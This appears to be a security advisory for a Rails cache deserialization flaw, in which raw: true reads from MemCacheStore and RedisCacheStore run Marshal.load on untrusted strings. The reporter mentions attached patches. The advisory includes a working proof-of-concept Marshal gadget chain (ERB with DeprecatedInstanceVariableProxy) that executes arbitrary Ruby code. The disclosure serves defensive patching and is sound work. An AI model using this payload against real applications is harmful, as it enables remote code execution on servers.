9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.851 High
EPSS
Percentile
98.0%
This vulnerability effects application code that caches a string from an untrusted source using the raw: true
option. For example, vulnerable application code might looks something like the following
body = Rails.cache.fetch(key, raw: true, expires_in: ttl) do
res = Net::HTTP.get_response(remote_uri)
res.value # raise on HTTP error
res.body
end
where res.body
represents the untrusted string in the example above. The below script shows that an untrusted string in the Marshal format will be deserialized when read using raw: true
.
require 'rails/all'
untrusted_string = Marshal.dump(:sym)
cache = ActiveSupport::Cache::MemCacheStore.new('localhost')
cache.delete("demo")
data = cache.fetch("demo", raw: true) { untrusted_string }
p data # "\x04\b:\bsym"
data = cache.fetch("demo", raw: true)
p data # :sym
This vulnerability appears to have been around for a long time, so would affect all currently supported versions of rails. I’ve tested with the earliest and latest supported rails version, 4.2.10 and 5.2.1 and both are affected.
The vulnerability affects both MemCacheStore and RedisCacheStore cache backends that are a part of rails, but cache stores developed outside of rails could also be vulnerable. For instance, the memcached_store has the same vulnerability as a result of replicating the behaviour of MemCacheStore.
I’ve attached patches to fix MemCacheStore and RedisCacheStore on master. I believe the MemCacheStore patch can be backported, since Dalli uses memcached’s flags to tag keys that need marshal loading (since Dalli version 0.11.0) so can avoid unmarshalling raw strings. However, backporting RedisCacheStore could cause backwards compatibility problems with application code that writes and reads a cache key with a different raw option value, so I’ve included a patch to deprecate that usage in rails 5.2.
As has been demonstrated in the past, Marshal.load of an untrusted string can lead to remote code execution when done in rails without any reliance on application code.
The following script demonstrates that this is still the case and shows that a generic exploit payload can be used.
require 'erb'
require 'rails/all'
remote_code = <<-RUBY
puts 'HACKED'
RUBY
erb = ERB.allocate
erb.instance_variable_set(:@src, remote_code)
erb.instance_variable_set(:@lineno, 0)
deprecation = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
exploit_data = Marshal.dump(deprecation)
obj = Marshal.load(exploit_data)
obj.is_a?(ActiveSupport::Cache::Entry)
So a generic exploit payload could be provided to applications to try to find if the application stores and fetches raw strings from the cache.
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.851 High
EPSS
Percentile
98.0%